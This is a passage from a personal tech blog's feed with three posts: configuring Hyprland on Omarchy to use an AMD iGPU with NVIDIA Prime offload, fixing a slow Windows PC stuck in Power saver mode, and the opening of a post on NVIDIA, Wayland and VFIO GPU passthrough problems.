&lt;p&gt;When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a &lt;code&gt;~/.local/bin/hypr_unlock.sh&lt;/code&gt; script like this:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Another post just so I don&rsquo;t forget these details when configuring <a href="https://omarchy.org/"target="_blank" rel="noopener">Omarchy</a>:</p>
<blockquote>
  <p>Hyprland doesn&rsquo;t play nice with NVIDIA</p>

</blockquote>
<p>You can use it. But there are several little problems, particularly with <a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener">Hyprlock</a>, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.</p>
<p>When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a <code>~/.local/bin/hypr_unlock.sh</code> script like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;keyword misc:allow_session_lock_restore 1&#39;</span>
</span></span><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;dispatch exec hyprlock&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But then I unlock and see that my Brave crashed too. NVIDIA really doesn&rsquo;t like the monitor being turned off while it&rsquo;s active. People said this happened in Hyprlock 0.9.1, but I&rsquo;m already on 0.9.2 and it still crashes. I tried enabling services like nvidia-suspend/resume/hibernate, but nothing worked either.</p>
<p>At the end of the day I decided it&rsquo;s not worth fighting with this: I have an <strong>AMD 7850X3D</strong>, and this CPU has an iGPU (integrated GPU), an AMD Raphael, which for things like rendering a window manager is more than powerful enough.</p>
<p>First, detect the GPUs:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ ls /dev/dri/by-path
</span></span><span class="line"><span class="cl">Permissions Size User Date Modified Name
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-card -&gt; ../card1
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-render -&gt; ../renderD128
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-card -&gt; ../card2
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-render -&gt; ../renderD129</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To find out which is AMD and which is NVIDIA, just run:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lspci <span class="p">|</span> grep -i vga
</span></span><span class="line"><span class="cl">01:00.0 VGA compatible controller: NVIDIA Corporation GB202 <span class="o">[</span>GeForce RTX 5090<span class="o">]</span> <span class="o">(</span>rev a1<span class="o">)</span>
</span></span><span class="line"><span class="cl">1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. <span class="o">[</span>AMD/ATI<span class="o">]</span> Raphael <span class="o">(</span>rev c9<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Done. From the PCI ID we know card1 is NVIDIA and card2 is AMD. Now I need to configure my <code>~/.config/hypr/hyprland.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">....
</span></span><span class="line"><span class="cl"><span class="c1"># NVIDIA environment variables</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> NVD_BACKEND,direct
</span></span><span class="line"><span class="cl"><span class="c1">#env = LIBVA_DRIVER_NAME,nvidia</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> LIBVA_DRIVER_NAME,radeonsi
</span></span><span class="line"><span class="cl"><span class="c1">#env = __GLX_VENDOR_LIBRARY_NAME,nvidia</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Comment these out when using AMD as primary</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __NV_PRIME_RENDER_OFFLOAD,1</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __VK_LAYER_NV_optimus,NVIDIA_only</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># AMD first for iGPU primary:</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> ELECTRON_OZONE_PLATFORM_HINT,auto</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I left the NVIDIA-specific settings commented out; none of them can be active. But the most important line is <code>AQ_DRM_DEVICES</code>, which lists the order for Hyprland to pick the GPU. Card2/AMD has to come first. Done, just reboot and move the HDMI cables to the iGPU output.</p>
<p>With that, I can now choose to offload only some apps to the NVIDIA using Prime. For that, I first created the script <code>~/.local/bin/nvidia-load.sh</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">__NV_PRIME_RENDER_OFFLOAD</span><span class="o">=</span><span class="m">1</span> <span class="nv">__VK_LAYER_NV_optimus</span><span class="o">=</span>NVIDIA_only <span class="nv">__GLX_VENDOR_LIBRARY_NAME</span><span class="o">=</span>nvidia <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finally, I configured some bindings in <code>~/.config/hypr/bindings.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This way, only Blender, Plasticity, and Bambu Studio, which primarily use the NVIDIA to render 3D in real time. All the other apps open on the AMD iGPU.</p>
<p>AI tools like ComfyUI, Ollama, or LM Studio automatically recognize the NVIDIA and pick it. And with that I also have more free VRAM to load LLMs.</p>
<p>If you&rsquo;re going to use XLibre/X.org, you can stay on NVIDIA just fine. But if you&rsquo;re going to use Wayland, NVIDIA still isn&rsquo;t fully stable, particularly with Hyprland. It&rsquo;s less of a headache to drop in a second AMD GPU just for this.</p>
]]></content:encoded><category>omarchy</category><category>hardware</category><category>linux</category></item><item><title>Your Windows May Be Crippled Without You Knowing. Check This!!</title><link>https://akitaonrails.github.io/en/2025/05/21/your-windows-may-be-crippled-without-you-knowing-check-this/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2025/05/21/your-windows-may-be-crippled-without-you-knowing-check-this/</guid><pubDate>Wed, 21 May 2025 17:15:00 -0300</pubDate><description>&lt;p&gt;I usually don&amp;rsquo;t bother documenting silly Windows problems, but this one in particular got me really annoyed, so I&amp;rsquo;m going to report the sequence of events. But let me just drop the spoiler right now: open Control Panel and Power Options on your Windows and check if it&amp;rsquo;s not in &amp;ldquo;Power saver&amp;rdquo; mode. Get it out of that garbage, at the very least leave it on Balanced, but if it&amp;rsquo;s a desktop PC bump it up to &amp;ldquo;High Performance&amp;rdquo; or &amp;ldquo;Ultimate Performance&amp;rdquo;. Thank me later.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I usually don&rsquo;t bother documenting silly Windows problems, but this one in particular got me really annoyed, so I&rsquo;m going to report the sequence of events. But let me just drop the spoiler right now: open Control Panel and Power Options on your Windows and check if it&rsquo;s not in &ldquo;Power saver&rdquo; mode. Get it out of that garbage, at the very least leave it on Balanced, but if it&rsquo;s a desktop PC bump it up to &ldquo;High Performance&rdquo; or &ldquo;Ultimate Performance&rdquo;. Thank me later.</p>
<p>Now sit down, here comes the story.</p>
<p>I built a pretty decent PC for my girlfriend: Intel i7 12th Gen 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, MSI Edge z790 motherboard, NVME and I even hooked up a Synology DS1621+ NAS on a 2.5Gbps network - because she&rsquo;s a content creator and has A LOT of video to edit. Modesty aside, it turned out pretty nice:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a8c82k3ocnpu1jamxb9w0z1fx2cf" alt="pc branco"  loading="lazy" /></p>
<p>Everything worked very well for a long time, but eventually, for no apparent reason, everything started feeling kind of slow. Not completely slow, but sometimes web pages seemed to stutter while loading. I&rsquo;d click on the Windows Start menu and it seemed to freeze up. Sometimes Explorer would hang and I&rsquo;d need to go to Task Manager and restart the process manually. Several super inconvenient things but none of them throwing any explicit &ldquo;error&rdquo;. It just felt &ldquo;weird&rdquo;.</p>
<p>I&rsquo;m a Linux user. My main PC is Manjaro Linux. I only use Windows on my gaming mini-PCs, exclusively to run Steam and some emulators. I avoid installing anything on them at all costs. Because I know how much of a pain it is to diagnose Windows after some weird program invades it.</p>
<p>I went after the usual suspects. She had installed games for streaming, like Valorant, Genshin Impact and stuff like that. I always suspect anti-cheats, the crap from Riot Vanguard or Easy or VAC. I started by uninstalling all the games. But I always think anti-cheat is like malware: once installed, it will never leave the system. I uninstalled everything, but that feeling of kind of freezing, kind of slow, intermittent, remained.</p>
<p>I tried the next suspects: peripheral software, like Elgato, Logitech, Razer stuff that install a bunch of garbage on your machines, and recently I was reading about the malware that was shipping with all of them. Watch this GamersNexus video to understand the house of cards that the whole peripheral industry with RGB has become:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/H_O5JtBqODA"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Even uninstalling all of them, still the same behavior: kind of slow, kind of freezing, unstable.</p>
<p>Let&rsquo;s try to go deeper, and for that you have to install tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns"target="_blank" rel="noopener">Sysinternals Autoruns</a> to see if there&rsquo;s anything starting up (things hidden in the Registry for example). I tried to disable everything I thought was suspicious.</p>
<p>Nothing. By that point I had also made sure that the newest MSI BIOS firmware was installed. I checked that nothing had been turned off in the BIOS, XMP profile was ok, no fast-boot and stuff like that.</p>
<h3>Is It the Internet?<span class="hx:absolute hx:-mt-20" id="is-it-the-internet"></span>
    <a href="#is-it-the-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Since most of the usage is internet and it seemed &ldquo;slow&rdquo;, I thought it might be network problems. Vivo&rsquo;s router? The plan? Wifi with interference?</p>
<p>Running out of patience I decided to go nuclear on the internet idea. In fact, opening the <a href="https://speed.cloudflare.com/"target="_blank" rel="noopener">Cloudflare Speed Test</a> page I could see that the speed itself was ok, but the latency was VERY high, jitter high and, mainly, PACKET LOSS was over 15%. That&rsquo;s not normal, it has to be 0%.</p>
<p>Taking advantage of a trip to Miami I brought back a TP-LINK BE9300 router for Wi-fi 7, and I also bought a compatible Wi-fi 7 PCIe card. I turned off Vivo&rsquo;s Wi-fi router and bumped the plan up to 800Mbps. And indeed, the internet improved a lot:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ogesvmtex2ek825hel7d4l0f5i30" alt="vivo internet"  loading="lazy" /></p>
<p>Latency dropped, jitter dropped, packet loss went to 0%.</p>
<p>But this didn&rsquo;t fix the problem. Out of nowhere the browser would pause when loading some page. That feeling of kind of slow, kind of freezing. And yes, I tried switching from Edge to Chrome, to Firefox, to everything. Nothing made any difference. The internet really did get faster, but Windows itself didn&rsquo;t seem to improve much and while browsing, it was getting slower and slower. So the problem wasn&rsquo;t the internet.</p>
<p>I was running out of options. Everything that could be manually cleaned in Windows, I cleaned. There was almost nothing left to delete - and I delete things without mercy. But I always had it in my head that it was some malware, something that loads before boot, some &ldquo;ROOTKIT&rdquo;. Anti-cheats are Rootkits by definition. They load even before the kernel and from that point on, the compromised system can no longer be trusted, because no tool will be able to find it.</p>
<p>Assuming at that point it had to be a compromised system, I decided to go with the nuclear option: reinstall everything from scratch. We backed up the data and off I went to reinstall from scratch.</p>
<h3>Reinstalling DID NOT WORK<span class="hx:absolute hx:-mt-20" id="reinstalling-did-not-work"></span>
    <a href="#reinstalling-did-not-work" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Now it got worse.</p>
<p>With Windows 11 Pro, freshly installed, guaranteed with no third-party software installed, it still had the same behavior of kind of slow, kind of freezing. The start menu wouldn&rsquo;t let me click on anything. I had to open task manager and kill Explorer manually to get it to work again.</p>
<p>I spent some time staring at Task Manager, but there wasn&rsquo;t any process running that I could suspect further: it was bare-bones Windows. I had even run a <a href="https://github.com/Raphire/Win11Debloat"target="_blank" rel="noopener">Debloater</a> to uninstall unnecessary Microsoft apps like Teams.</p>
<p>But lo and behold, from staring at task manager so much, I saw that I had been ignoring an important piece of data. See if you can spot it:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/pky39kkwcbuyqocwpj15n36i9gai" alt="cpu low"  loading="lazy" /></p>
<p>The image is kind of messed up because I took a photo of the monitor with my phone. The refresh rate clashes with the camera&rsquo;s and you get this &ldquo;grid&rdquo;, but I think you can still read it.</p>
<p>Even when you have almost no program running, it&rsquo;s not natural for the CPU to be at such a low clock, 0.50Ghz - HALF A GIGAHERTZ. This Intel i7 can go above 4Ghz and the base clock is 2Ghz.</p>
<p>I opened browsers, opened tabs, kept monitoring, and it never went above 1.5Ghz. An occasional spike to 2Ghz for 1 second and then it dropped below 1Ghz again. Then I thought: could the AIO be failing??</p>
<p>Looking at Event Viewer you could see when the Start menu (which is part of Explorer.exe) stopped working and froze: it logs it as &ldquo;Hanging Events&rdquo; code 1002.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dtugk013p4decud6zo1dzg3rjhxr" alt="event viewer"  loading="lazy" /></p>
<p>See all those Errors? All Hanging Events, and &ldquo;hanging&rdquo; is exactly the behavior: something seems to &ldquo;hold&rdquo;, &ldquo;freeze&rdquo; and only by killing the process does it come back to working.</p>
<p>And this was happening before and also AFTER reinstalling everything from scratch. Something seemed fundamentally wrong with the hardware itself. With the super low clock, this behavior starts to make sense: it&rsquo;s so slow it can&rsquo;t even process basic things. Click several times on the Start Menu (which will be digging through recent documents, updating the list of applications, opening the search bar, etc) and there&rsquo;s no clock to process all that while there&rsquo;s still Windows Defender in background, browser tabs processing.</p>
<h3>Could It Be Thermal Throttle??<span class="hx:absolute hx:-mt-20" id="could-it-be-thermal-throttle"></span>
    <a href="#could-it-be-thermal-throttle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Since Windows was wiped clean, it can&rsquo;t be anti-cheat anymore, it can&rsquo;t be some weird anti-virus, it can&rsquo;t be malware, it&rsquo;s not the internet, it had to be something EXTERNAL, that was what made sense.</p>
<p>I opened the PC and left it open so I could feel if the heatsink was getting absurdly hot. If it was, it would mean my AIO (Coolermaster Watercooler) had started to fail.</p>
<p>It&rsquo;s normal for the CPU, when it overheats, to drop the clock to avoid burning the chip. This is called &ldquo;THERMAL THROTTLING&rdquo;.</p>
<p>And again, weird: it was COLD to the touch!!!</p>
<p>No way. I opened the BIOS to re-check fan profiles, but everything was normal:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/yl02sk0dug6zj9d1gen877d22gnw" alt="cpu fans"  loading="lazy" /></p>
<p>That&rsquo;s when it finally hit me:</p>
<pre><code>**LET ME CHECK THE POWER SETTINGS**
</code></pre>
<p>On a normal PC/laptop, it should show something like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a5dkm6eag4ebma6ye1i1mnzphy3s" alt="Power Settings"  loading="lazy" /></p>
<p>By default, Windows always boots in &ldquo;Balanced Mode&rdquo;.</p>
<p>But on my girlfriend&rsquo;s PC, <strong>I have no idea why</strong>, there was no Power Mode option!!! And I&rsquo;m on a Windows 11 Pro with a paid license!!</p>
<p>That&rsquo;s weird, but I know that in the old Control Panel, there&rsquo;s a Power Options entry:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/70ymku67f5ufp0pd76jp0b2hqjx2" alt="control panel"  loading="lazy" /></p>
<p>AND THERE&rsquo;S THE PROBLEM:</p>
<p>It was on &ldquo;Power saver&rdquo;!!!</p>
<p>How did that happen? I have absolutely no idea. REMEMBER: I had reinstalled Windows from scratch. This is right after reinstalling!!</p>
<p>On a laptop this profile makes sense, to save battery when you don&rsquo;t have an outlet. But on a desktop PC, which is my case, it makes no sense at all!! I switched to &ldquo;Ultimate Performance&rdquo; and look at the task manager now:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5hg5d85ivuxv9tw5si21wcb3hm5p" alt="cpu high"  loading="lazy" /></p>
<p>NOW WE&rsquo;RE TALKING!! Above 4Ghz!!!</p>
<p>The NORMAL range for this CPU is around 4Ghz, with Turbo Boost of 5Ghz. But in Power saver mode, it NEVER goes above 2Ghz and idles at 500Mhz. In other words, everything was <strong>TEN TIMES SLOWER</strong>, sometimes it tried to boost and was still <strong>FIVE TO TWO TIMES SLOWER</strong>. And it&rsquo;s intermittent!!!</p>
<p>Testing installing apps, browsing, etc, everything is now working normally, no freezing, no feeling of slowness. Start menu doesn&rsquo;t hang anymore - because now there&rsquo;s enough CPU to process the crap it needs in background.</p>
<h3>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CHECK POWER OPTIONS IN CONTROL PANEL!!!!</p>
<p>Again: I had JUST REINSTALLED WINDOWS. It was wiped clean and, by default, it came up in Power Saver mode.</p>
<p>I have no idea why it did that, I don&rsquo;t know if it always does that, I don&rsquo;t know if it failed to recognize the MSI motherboard, I don&rsquo;t know what combination of hardware factors can make Windows fall back to this.</p>
<p>But it&rsquo;s ALARMING that it does this without warning. There&rsquo;s no error message. There&rsquo;s no notification. It doesn&rsquo;t show up in Event Viewer. In other words, even a Power User like myself has to randomly suspect &ldquo;hmm, let me check the power profile&rdquo;.</p>
<p>Lots of people with Windows must be feeling this slowness and freezing and thinking &ldquo;hmm, my PC is just crap, I need to save up to buy another one&rdquo;, without knowing that maybe it&rsquo;s just crippled by this power profile and in reality their PC is 2x to 5x, even 10x faster and they don&rsquo;t know it! That&rsquo;s not a small difference!</p>
<p>POWER SAVER MODE is a huge piece of garbage, it has no practical use and it shouldn&rsquo;t even exist. It&rsquo;s one of those legacy things that give Windows a terrible experience - because it doesn&rsquo;t warn you.</p>
<p>Remember those 1002 hanging events error codes? If you go searching on Google, every forum will tell you to run diagnostic programs, uninstall stuff, or reinstall Windows. None of them mention anything about the power profile.</p>
<p>I hope this helps someone else!</p>
]]></content:encoded><category>microsoft</category><category>performance</category><category>hardware</category></item><item><title>NVIDIA and Wayland - Problems for PCI Passthrough in VMs</title><link>https://akitaonrails.github.io/en/2025/04/17/nvidia-and-wayland-problems-for-pci-passthrough-in-vms/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2025/04/17/nvidia-and-wayland-problems-for-pci-passthrough-in-vms/</guid><pubDate>Thu, 17 Apr 2025 19:35:00 -0300</pubDate><description>&lt;p&gt;Another article that&amp;rsquo;s mostly so I don&amp;rsquo;t forget and serves as a note to myself.&lt;/p&gt;
&lt;p&gt;In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven&amp;rsquo;t watched it, it&amp;rsquo;s at &lt;a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener"&gt;this link&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it&amp;rsquo;s more than enough.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Another article that&rsquo;s mostly so I don&rsquo;t forget and serves as a note to myself.</p>
<p>In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven&rsquo;t watched it, it&rsquo;s at <a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener">this link</a>.</p>
<p>In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it&rsquo;s more than enough.</p>
<p>This GPU loads on Linux with the driver that ships in the kernel, <code>amdgpu</code>, and is mounted as <code>/dev/dri/card1</code>. Then I added a 2nd GPU, the beefy RTX 4090 with 24GB of GDDR6X VRAM. Not enough to run the heaviest LLMs, but it can run enough. I bought it primarily for games, but I end up using it for AI and 3D rendering as well.</p>
<p>Now the concept is simple: at boot, Linux needs to ignore this card and not load the NVIDIA drivers. If it does that, I can&rsquo;t later pass it into the Windows VM. I used to edit my channel&rsquo;s videos in DaVinci Resolve, which used plugins that only work on Windows; that was one of the reasons at the time. Resolve itself works on Linux too, but many plugins don&rsquo;t. I also preferred using Photoshop, which is also Windows-only.</p>
<p>For this we configure Linux to load a fake driver, called <code>vfio-pci</code>, in place of the NVIDIA driver (or the open source alternative, Nouveau). In the other article I explain in more detail, but it&rsquo;s a huge pain to configure this by hand. I don&rsquo;t know if it still works, but at the time I also used a script that automates this, <a href="https://github.com/uwzis/GPU-Passthrough-Manager"target="_blank" rel="noopener">GPU-Passthrough-Manager</a>. It configures everything to prevent the NVIDIA drivers from loading and switches to vfio-pci correctly. I think it also works on Optimus laptops, when you have a weaker iGPU (to save battery) and a separate discrete GPU, but I haven&rsquo;t tested that in years so don&rsquo;t ask me, ask ChatGPT.</p>
<p>Since 2023 this has worked great. I have a script called <code>nvidia-locker</code> that&rsquo;s in the other article. If I want to run LLMs or Blender on my native Linux, I run that script and it removes vfio-pci and puts the NVIDIA driver back in real time, without rebooting. Then when I&rsquo;m done and need to boot into Windows, I run the script again and it unloads the driver in real time too, allowing it to be passed via PCI Passthrough to the QEMU VM. All neat and tidy.</p>
<p>That is, until a few months ago, when Arch and Manjaro updated to swap out the old legacy <strong>Xorg for Wayland</strong>. These days Wayland is much more stable, its portals work properly and I can use webcam, microphone, tablet and everything else without any problem. Everything works and, theoretically, Wayland is supposed to be better. The new GNOME 48 also turned out really good, with HDR support and all. Anyway, everything&rsquo;s pretty slick, I recommend it.</p>
<p>Except for the GNOME/Wayland combo with an NVIDIA GPU specifically in this PCI Passthrough to VM scenario. In short: boot still works normally, vfio-pci loads and hides the NVIDIA GPU. My <code>nvidia-locker</code> script also manages to hot-reload the NVIDIA driver. The problem is when I try to unload the driver to open the VM: GNOME won&rsquo;t let me.</p>
<p>Wayland is super aggressive and as soon as it detects that a new GPU has appeared, it loads the <code>gnome-shell</code> process onto that GPU. And since there&rsquo;s a process attached, there&rsquo;s no way to remove the driver hot anymore. Only by rebooting, and that&rsquo;s a pain.</p>
<p>There&rsquo;s no easy solution. I tried dozens of different things like permissions, UDEV rules, SystemD services, kernel options, but nothing prevents the damn <code>gnome-shell</code> or <code>gjs</code> (Flatpak portal) processes from latching onto the GPU.</p>
